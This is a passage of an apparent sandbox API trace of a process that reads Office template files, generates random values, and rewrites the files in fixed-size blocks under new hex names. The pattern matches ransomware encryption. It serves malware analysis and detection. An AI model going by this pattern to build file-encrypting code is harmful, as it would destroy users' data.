[0173.036] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059470) returned 1 [0173.036] WriteFile (in: hFile=0x1d54, lpBuffer=0x2036bd40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x38eafd60, lpOverlapped=0x0 | out: lpBuffer=0x2036bd40*, lpNumberOfBytesWritten=0x38eafd60*=0x3c00, lpOverlapped=0x0) returned 1 [0187.174] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2036bd40) returned 1 [0187.174] SetFilePointerEx (in: hFile=0x1d54, liDistanceToMove=0x1595a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.174] ReadFile (in: hFile=0x1d54, lpBuffer=0x42106d10, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x38eafd60, lpOverlapped=0x0 | out: lpBuffer=0x42106d10*, lpNumberOfBytesRead=0x38eafd60*=0x3c00, lpOverlapped=0x0) returned 1 [0190.607] SetFilePointerEx (in: hFile=0x1d54, liDistanceToMove=0x1595a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.607] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c0d0 [0190.608] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0190.608] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138e60 [0190.608] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138e60) returned 1 [0190.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429a9e90 [0190.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138e60 [0190.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138e90 [0190.610] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138e90) returned 1 [0190.610] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0190.611] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c0d0) returned 1 [0190.611] WriteFile (in: hFile=0x1d54, lpBuffer=0x429a9e90*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x38eafd60, lpOverlapped=0x0 | out: lpBuffer=0x429a9e90*, lpNumberOfBytesWritten=0x38eafd60*=0x3c00, lpOverlapped=0x0) returned 1 [0205.355] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429a9e90) returned 1 [0205.355] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4319f910 [0205.355] SetFilePointerEx (in: hFile=0x1d54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0205.355] WriteFile (in: hFile=0x1d54, lpBuffer=0x431f5d20*, nNumberOfBytesToWrite=0x158, lpNumberOfBytesWritten=0x38eafe10, lpOverlapped=0x0 | out: lpBuffer=0x431f5d20*, lpNumberOfBytesWritten=0x38eafe10*=0x158, lpOverlapped=0x0) returned 1 [0208.650] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bd90 [0208.651] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba360 [0208.652] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4210 [0208.653] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4210) returned 1 [0208.653] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x422f4210 [0208.653] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f52c0 [0208.653] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5740 [0208.654] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5740) returned 1 [0208.654] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba360) returned 1 [0208.655] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bd90) returned 1 [0208.655] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4d) returned 0x1b858850 [0208.655] sprintf (in: _Dest=0x1b858850, _Format="%c%c" | out: _Dest="0d") returned 2 [0208.655] sprintf (in: _Dest=0x1b858852, _Format="%c%c" | out: _Dest="d8") returned 2 [0208.655] sprintf (in: _Dest=0x1b858854, _Format="%c%c" | out: _Dest="6c") returned 2 [0208.655] sprintf (in: _Dest=0x1b858856, _Format="%c%c" | out: _Dest="35") returned 2 [0208.655] sprintf (in: _Dest=0x1b858858, _Format="%c%c" | out: _Dest="c0") returned 2 [0208.655] sprintf (in: _Dest=0x1b85885a, _Format="%c%c" | out: _Dest="0c") returned 2 [0208.655] sprintf (in: _Dest=0x1b85885c, _Format="%c%c" | out: _Dest="b9") returned 2 [0208.655] sprintf (in: _Dest=0x1b85885e, _Format="%c%c" | out: _Dest="f0") returned 2 [0208.655] sprintf (in: _Dest=0x1b858860, _Format="%c%c" | out: _Dest="b1") returned 2 [0208.655] sprintf (in: _Dest=0x1b858862, _Format="%c%c" | out: _Dest="e5") returned 2 [0208.655] sprintf (in: _Dest=0x1b858864, _Format="%c%c" | out: _Dest="63") returned 2 [0208.655] sprintf (in: _Dest=0x1b858866, _Format="%c%c" | out: _Dest="50") returned 2 [0208.655] sprintf (in: _Dest=0x1b858868, _Format="%c%c" | out: _Dest="a1") returned 2 [0208.655] sprintf (in: _Dest=0x1b85886a, _Format="%c%c" | out: _Dest="34") returned 2 [0208.656] sprintf (in: _Dest=0x1b85886c, _Format="%c%c" | out: _Dest="92") returned 2 [0208.656] sprintf (in: _Dest=0x1b85886e, _Format="%c%c" | out: _Dest="dd") returned 2 [0208.656] sprintf (in: _Dest=0x1b858870, _Format="%c%c" | out: _Dest="f8") returned 2 [0208.656] sprintf (in: _Dest=0x1b858872, _Format="%c%c" | out: _Dest="93") returned 2 [0208.656] sprintf (in: _Dest=0x1b858874, _Format="%c%c" | out: _Dest="f4") returned 2 [0208.656] sprintf (in: _Dest=0x1b858876, _Format="%c%c" | out: _Dest="8d") returned 2 [0208.656] sprintf (in: _Dest=0x1b858878, _Format="%c%c" | out: _Dest="a1") returned 2 [0208.656] sprintf (in: _Dest=0x1b85887a, _Format="%c%c" | out: _Dest="38") returned 2 [0208.656] sprintf (in: _Dest=0x1b85887c, _Format="%c%c" | out: _Dest="1e") returned 2 [0208.656] sprintf (in: _Dest=0x1b85887e, _Format="%c%c" | out: _Dest="7f") returned 2 [0208.656] sprintf (in: _Dest=0x1b858880, _Format="%c%c" | out: _Dest="96") returned 2 [0208.656] sprintf (in: _Dest=0x1b858882, _Format="%c%c" | out: _Dest="a8") returned 2 [0208.656] sprintf (in: _Dest=0x1b858884, _Format="%c%c" | out: _Dest="0f") returned 2 [0208.656] sprintf (in: _Dest=0x1b858886, _Format="%c%c" | out: _Dest="e0") returned 2 [0208.656] sprintf (in: _Dest=0x1b858888, _Format="%c%c" | out: _Dest="7b") returned 2 [0208.656] sprintf (in: _Dest=0x1b85888a, _Format="%c%c" | out: _Dest="89") returned 2 [0208.656] sprintf (in: _Dest=0x1b85888c, _Format="%c%c" | out: _Dest="24") returned 2 [0208.656] sprintf (in: _Dest=0x1b85888e, _Format="%c%c" | out: _Dest="57") returned 2 [0208.656] sprintf (in: _Dest=0x1b858890, _Format="%c%c" | out: _Dest="b4") returned 2 [0208.656] sprintf (in: _Dest=0x1b858892, _Format="%c%c" | out: _Dest="2d") returned 2 [0208.656] sprintf (in: _Dest=0x1b858894, _Format="%c%c" | out: _Dest="99") returned 2 [0208.656] sprintf (in: _Dest=0x1b858896, _Format="%c%c" | out: _Dest="a4") returned 2 [0208.656] sprintf (in: _Dest=0x1b858898, _Format="%c%c" | out: _Dest="d1") returned 2 [0208.656] sprintf (in: _Dest=0x1b85889a, _Format="%c%c" | out: _Dest="1c") returned 2 [0208.656] RtlInitAnsiString (in: DestinationString=0x38eafe88, SourceString="0dd86c35c00cb9f0b1e56350a13492ddf893f48da1381e7f96a80fe07b892457b42d99a4d11c" | out: DestinationString="0dd86c35c00cb9f0b1e56350a13492ddf893f48da1381e7f96a80fe07b892457b42d99a4d11c") [0208.657] RtlAnsiStringToUnicodeString (in: DestinationString=0x38eafe58, SourceString="0dd86c35c00cb9f0b1e56350a13492ddf893f48da1381e7f96a80fe07b892457b42d99a4d11c", AllocateDestinationString=1 | out: DestinationString="0dd86c35c00cb9f0b1e56350a13492ddf893f48da1381e7f96a80fe07b892457b42d99a4d11c") returned 0x0 [0208.657] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x431a72d0 [0208.657] wcscat (in: _Dest=0x4318a0c0, _Source="0dd86c35c00cb9f0b1e" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\0dd86c35c00cb9f0b1e") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\0dd86c35c00cb9f0b1e" [0208.657] wcscat (in: _Dest=0x4318a0c0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\0dd86c35c00cb9f0b1e.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\0dd86c35c00cb9f0b1e.2f9b60" [0208.658] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\0dd86c35c00cb9f0b1e.2f9b60", NtPathName=0x38eafe30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\0dd86c35c00cb9f0b1e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0208.658] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb6) returned 0x106a00 Thread: id = 2121 os_tid = 0x146c [0138.964] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\MedianMergeLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\medianmergeletter.dotx")) returned 0x20 [0138.967] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\MedianMergeLetter.Dotx", dwFileAttributes=0x20) returned 1 [0138.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\MedianMergeLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\medianmergeletter.dotx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1d50 [0138.967] GetFileSizeEx (in: hFile=0x1d50, lpFileSize=0x38f9f720 | out: lpFileSize=0x38f9f720*=118135) returned 1 [0138.968] SetFilePointerEx (in: hFile=0x1d50, liDistanceToMove=0x1cd73, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.968] ReadFile (in: hFile=0x1d50, lpBuffer=0x38f9f6a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x38f9f6e8, lpOverlapped=0x0 | out: lpBuffer=0x38f9f6a0*, lpNumberOfBytesRead=0x38f9f6e8*=0x4, lpOverlapped=0x0) returned 1 [0138.996] SetFilePointerEx (in: hFile=0x1d50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ad70 [0138.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205aec0 [0138.997] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205af50 [0138.997] NtQuerySystemTime (in: CurrentTime=0x38f9f5e0 | out: CurrentTime=0x38f9f5e0*=132462177442450000) returned 0x0 [0138.997] RtlRandomEx (in: Seed=0x38f9f5d0 | out: Seed=0x38f9f5d0) returned 0x23391be7 [0138.997] RtlRandomEx (in: Seed=0x38f9f5d0 | out: Seed=0x38f9f5d0) returned 0x34f0011c [0138.997] RtlRandomEx (in: Seed=0x38f9f5d0 | out: Seed=0x38f9f5d0) returned 0x4d37b3d2 [0138.997] RtlRandomEx (in: Seed=0x38f9f5d0 | out: Seed=0x38f9f5d0) returned 0x7fc16bf1 [0138.997] RtlRandomEx (in: Seed=0x38f9f5d0 | out: Seed=0x38f9f5d0) returned 0x41ca24ff [0138.997] RtlRandomEx (in: Seed=0x38f9f5d0 | out: Seed=0x38f9f5d0) returned 0x57ba8c4 [0138.997] RtlRandomEx (in: Seed=0x38f9f5d0 | out: Seed=0x38f9f5d0) returned 0x2199458c [0138.997] RtlRandomEx (in: Seed=0x38f9f5d0 | out: Seed=0x38f9f5d0) returned 0x70819c19 [0138.997] RtlRandomEx (in: Seed=0x38f9f5d0 | out: Seed=0x38f9f5d0) returned 0x471febc4 [0138.997] RtlRandomEx (in: Seed=0x38f9f5d0 | out: Seed=0x38f9f5d0) returned 0x411931ee [0138.997] RtlRandomEx (in: Seed=0x38f9f5d0 | out: Seed=0x38f9f5d0) returned 0x22b8ce96 [0138.997] RtlRandomEx (in: Seed=0x38f9f5d0 | out: Seed=0x38f9f5d0) returned 0x5725f9c2 [0138.997] RtlRandomEx (in: Seed=0x38f9f5d0 | out: Seed=0x38f9f5d0) returned 0x67be9774 [0138.997] RtlRandomEx (in: Seed=0x38f9f5d0 | out: Seed=0x38f9f5d0) returned 0x1c6c18dd [0138.997] RtlRandomEx (in: Seed=0x38f9f5d0 | out: Seed=0x38f9f5d0) returned 0x5fc5e40e [0138.997] RtlRandomEx (in: Seed=0x38f9f5d0 | out: Seed=0x38f9f5d0) returned 0x2a473433 [0138.997] RtlRandomEx (in: Seed=0x38f9f5d0 | out: Seed=0x38f9f5d0) returned 0x36c20aff [0138.997] RtlRandomEx (in: Seed=0x38f9f5d0 | out: Seed=0x38f9f5d0) returned 0x12fc0b4f [0138.997] RtlRandomEx (in: Seed=0x38f9f5d0 | out: Seed=0x38f9f5d0) returned 0x4f2633f1 [0138.997] RtlRandomEx (in: Seed=0x38f9f5d0 | out: Seed=0x38f9f5d0) returned 0x2c5cc38f [0138.997] RtlRandomEx (in: Seed=0x38f9f5d0 | out: Seed=0x38f9f5d0) returned 0x5704dbfa [0138.997] RtlRandomEx (in: Seed=0x38f9f5d0 | out: Seed=0x38f9f5d0) returned 0x2d8193b5 [0138.998] RtlRandomEx (in: Seed=0x38f9f5d0 | out: Seed=0x38f9f5d0) returned 0x2412aad4 [0138.998] RtlRandomEx (in: Seed=0x38f9f5d0 | out: Seed=0x38f9f5d0) returned 0x144754b1 [0138.998] RtlRandomEx (in: Seed=0x38f9f5d0 | out: Seed=0x38f9f5d0) returned 0x14ffa246 [0138.998] RtlRandomEx (in: Seed=0x38f9f5d0 | out: Seed=0x38f9f5d0) returned 0x194c513f [0138.998] RtlRandomEx (in: Seed=0x38f9f5d0 | out: Seed=0x38f9f5d0) returned 0x11d5bd6 [0138.998] RtlRandomEx (in: Seed=0x38f9f5d0 | out: Seed=0x38f9f5d0) returned 0x4c262723 [0138.998] RtlRandomEx (in: Seed=0x38f9f5d0 | out: Seed=0x38f9f5d0) returned 0x25678568 [0138.998] RtlRandomEx (in: Seed=0x38f9f5d0 | out: Seed=0x38f9f5d0) returned 0x6bef8ab7 [0138.998] RtlRandomEx (in: Seed=0x38f9f5d0 | out: Seed=0x38f9f5d0) returned 0x5e603239 [0138.998] RtlRandomEx (in: Seed=0x38f9f5d0 | out: Seed=0x38f9f5d0) returned 0x59ea9439 [0139.007] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205af80 [0139.007] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420612b0 [0139.007] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205afb0 [0139.007] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420612b0) returned 1 [0139.008] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205af50) returned 1 [0139.008] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205ad70) returned 1 [0139.008] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x420f3dd0 [0139.008] SetFilePointerEx (in: hFile=0x1d50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.008] ReadFile (in: hFile=0x1d50, lpBuffer=0x420f3dd0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x38f9f640, lpOverlapped=0x0 | out: lpBuffer=0x420f3dd0*, lpNumberOfBytesRead=0x38f9f640*=0x3c00, lpOverlapped=0x0) returned 1 [0139.088] SetFilePointerEx (in: hFile=0x1d50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.089] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0139.089] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420612b0 [0139.089] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b280 [0139.089] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b280) returned 1 [0139.089] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42115d50 [0139.090] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b280 [0139.090] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b310 [0139.090] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b310) returned 1 [0139.090] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420612b0) returned 1 [0139.091] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0139.091] WriteFile (in: hFile=0x1d50, lpBuffer=0x42115d50*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x38f9f640, lpOverlapped=0x0 | out: lpBuffer=0x42115d50*, lpNumberOfBytesWritten=0x38f9f640*=0x3c00, lpOverlapped=0x0) returned 1 [0160.925] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42115d50) returned 1 [0160.925] SetFilePointerEx (in: hFile=0x1d50, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.926] ReadFile (in: hFile=0x1d50, lpBuffer=0x420f3dd0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x38f9f640, lpOverlapped=0x0 | out: lpBuffer=0x420f3dd0*, lpNumberOfBytesRead=0x38f9f640*=0x3c00, lpOverlapped=0x0) returned 1 [0165.689] SetFilePointerEx (in: hFile=0x1d50, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.690] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059830 [0165.690] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869240 [0165.690] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b9a0 [0165.690] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b9a0) returned 1 [0165.690] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x425b9930 [0165.691] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b9a0 [0165.691] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bfd0 [0165.691] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bfd0) returned 1 [0165.692] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869240) returned 1 [0165.692] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059830) returned 1 [0165.692] WriteFile (in: hFile=0x1d50, lpBuffer=0x425b9930*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x38f9f640, lpOverlapped=0x0 | out: lpBuffer=0x425b9930*, lpNumberOfBytesWritten=0x38f9f640*=0x3c00, lpOverlapped=0x0) returned 1 [0192.601] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x425b9930) returned 1 [0192.601] SetFilePointerEx (in: hFile=0x1d50, liDistanceToMove=0x19177, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.601] ReadFile (in: hFile=0x1d50, lpBuffer=0x420f3dd0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x38f9f640, lpOverlapped=0x0 | out: lpBuffer=0x420f3dd0*, lpNumberOfBytesRead=0x38f9f640*=0x3c00, lpOverlapped=0x0) returned 1 [0192.632] SetFilePointerEx (in: hFile=0x1d50, liDistanceToMove=0x19177, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce19400 [0192.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6820 [0192.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18cf0 [0192.634] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18cf0) returned 1 [0192.634] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42b00ae0 [0192.634] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18cf0 [0192.635] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1e090 [0192.635] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1e090) returned 1 [0192.636] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6820) returned 1 [0192.636] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce19400) returned 1 [0192.636] WriteFile (in: hFile=0x1d50, lpBuffer=0x42b00ae0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x38f9f640, lpOverlapped=0x0 | out: lpBuffer=0x42b00ae0*, lpNumberOfBytesWritten=0x38f9f640*=0x3c00, lpOverlapped=0x0) returned 1 [0204.725] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b00ae0) returned 1 [0204.725] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ce15300 [0204.726] SetFilePointerEx (in: hFile=0x1d50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0204.726] WriteFile (in: hFile=0x1d50, lpBuffer=0x1ceb7ed0*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x38f9f6f0, lpOverlapped=0x0 | out: lpBuffer=0x1ceb7ed0*, lpNumberOfBytesWritten=0x38f9f6f0*=0x15e, lpOverlapped=0x0) returned 1 [0215.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058e70 [0215.789] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebbb60 [0215.789] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202669c0 [0215.790] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202669c0) returned 1 [0215.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1ce5e2f0 [0215.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202669c0 [0215.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266cf0 [0215.791] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266cf0) returned 1 [0215.792] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebbb60) returned 1 [0215.792] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058e70) returned 1 [0215.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x59) returned 0x1ce15370 [0215.792] sprintf (in: _Dest=0x1ce15370, _Format="%c%c" | out: _Dest="40") returned 2 [0215.792] sprintf (in: _Dest=0x1ce15372, _Format="%c%c" | out: _Dest="e6") returned 2 [0215.792] sprintf (in: _Dest=0x1ce15374, _Format="%c%c" | out: _Dest="24") returned 2 [0215.792] sprintf (in: _Dest=0x1ce15376, _Format="%c%c" | out: _Dest="22") returned 2 [0215.792] sprintf (in: _Dest=0x1ce15378, _Format="%c%c" | out: _Dest="b7") returned 2 [0215.792] sprintf (in: _Dest=0x1ce1537a, _Format="%c%c" | out: _Dest="89") returned 2 [0215.792] sprintf (in: _Dest=0x1ce1537c, _Format="%c%c" | out: _Dest="31") returned 2 [0215.792] sprintf (in: _Dest=0x1ce1537e, _Format="%c%c" | out: _Dest="7c") returned 2 [0215.792] sprintf (in: _Dest=0x1ce15380, _Format="%c%c" | out: _Dest="9d") returned 2 [0215.792] sprintf (in: _Dest=0x1ce15382, _Format="%c%c" | out: _Dest="c4") returned 2 [0215.793] sprintf (in: _Dest=0x1ce15384, _Format="%c%c" | out: _Dest="32") returned 2 [0215.793] sprintf (in: _Dest=0x1ce15386, _Format="%c%c" | out: _Dest="76") returned 2 [0215.793] sprintf (in: _Dest=0x1ce15388, _Format="%c%c" | out: _Dest="32") returned 2 [0215.793] sprintf (in: _Dest=0x1ce1538a, _Format="%c%c" | out: _Dest="81") returned 2 [0215.793] sprintf (in: _Dest=0x1ce1538c, _Format="%c%c" | out: _Dest="59") returned 2 [0215.793] sprintf (in: _Dest=0x1ce1538e, _Format="%c%c" | out: _Dest="8e") returned 2 [0215.793] sprintf (in: _Dest=0x1ce15390, _Format="%c%c" | out: _Dest="ed") returned 2 [0215.793] sprintf (in: _Dest=0x1ce15392, _Format="%c%c" | out: _Dest="b5") returned 2 [0215.793] sprintf (in: _Dest=0x1ce15394, _Format="%c%c" | out: _Dest="5f") returned 2 [0215.793] sprintf (in: _Dest=0x1ce15396, _Format="%c%c" | out: _Dest="75") returned 2 [0215.793] sprintf (in: _Dest=0x1ce15398, _Format="%c%c" | out: _Dest="3d") returned 2 [0215.793] sprintf (in: _Dest=0x1ce1539a, _Format="%c%c" | out: _Dest="6c") returned 2 [0215.793] sprintf (in: _Dest=0x1ce1539c, _Format="%c%c" | out: _Dest="93") returned 2 [0215.793] sprintf (in: _Dest=0x1ce1539e, _Format="%c%c" | out: _Dest="44") returned 2 [0215.793] sprintf (in: _Dest=0x1ce153a0, _Format="%c%c" | out: _Dest="cf") returned 2 [0215.793] sprintf (in: _Dest=0x1ce153a2, _Format="%c%c" | out: _Dest="fa") returned 2 [0215.793] sprintf (in: _Dest=0x1ce153a4, _Format="%c%c" | out: _Dest="c0") returned 2 [0215.793] sprintf (in: _Dest=0x1ce153a6, _Format="%c%c" | out: _Dest="a3") returned 2 [0215.793] sprintf (in: _Dest=0x1ce153a8, _Format="%c%c" | out: _Dest="ae") returned 2 [0215.793] sprintf (in: _Dest=0x1ce153aa, _Format="%c%c" | out: _Dest="db") returned 2 [0215.793] sprintf (in: _Dest=0x1ce153ac, _Format="%c%c" | out: _Dest="67") returned 2 [0215.793] sprintf (in: _Dest=0x1ce153ae, _Format="%c%c" | out: _Dest="c4") returned 2 [0215.793] sprintf (in: _Dest=0x1ce153b0, _Format="%c%c" | out: _Dest="3c") returned 2 [0215.793] sprintf (in: _Dest=0x1ce153b2, _Format="%c%c" | out: _Dest="25") returned 2 [0215.793] sprintf (in: _Dest=0x1ce153b4, _Format="%c%c" | out: _Dest="7f") returned 2 [0215.793] sprintf (in: _Dest=0x1ce153b6, _Format="%c%c" | out: _Dest="07") returned 2 [0215.793] sprintf (in: _Dest=0x1ce153b8, _Format="%c%c" | out: _Dest="c6") returned 2 [0215.793] sprintf (in: _Dest=0x1ce153ba, _Format="%c%c" | out: _Dest="14") returned 2 [0215.793] sprintf (in: _Dest=0x1ce153bc, _Format="%c%c" | out: _Dest="b5") returned 2 [0215.793] sprintf (in: _Dest=0x1ce153be, _Format="%c%c" | out: _Dest="6c") returned 2 [0215.793] sprintf (in: _Dest=0x1ce153c0, _Format="%c%c" | out: _Dest="21") returned 2 [0215.793] sprintf (in: _Dest=0x1ce153c2, _Format="%c%c" | out: _Dest="51") returned 2 [0215.793] sprintf (in: _Dest=0x1ce153c4, _Format="%c%c" | out: _Dest="b0") returned 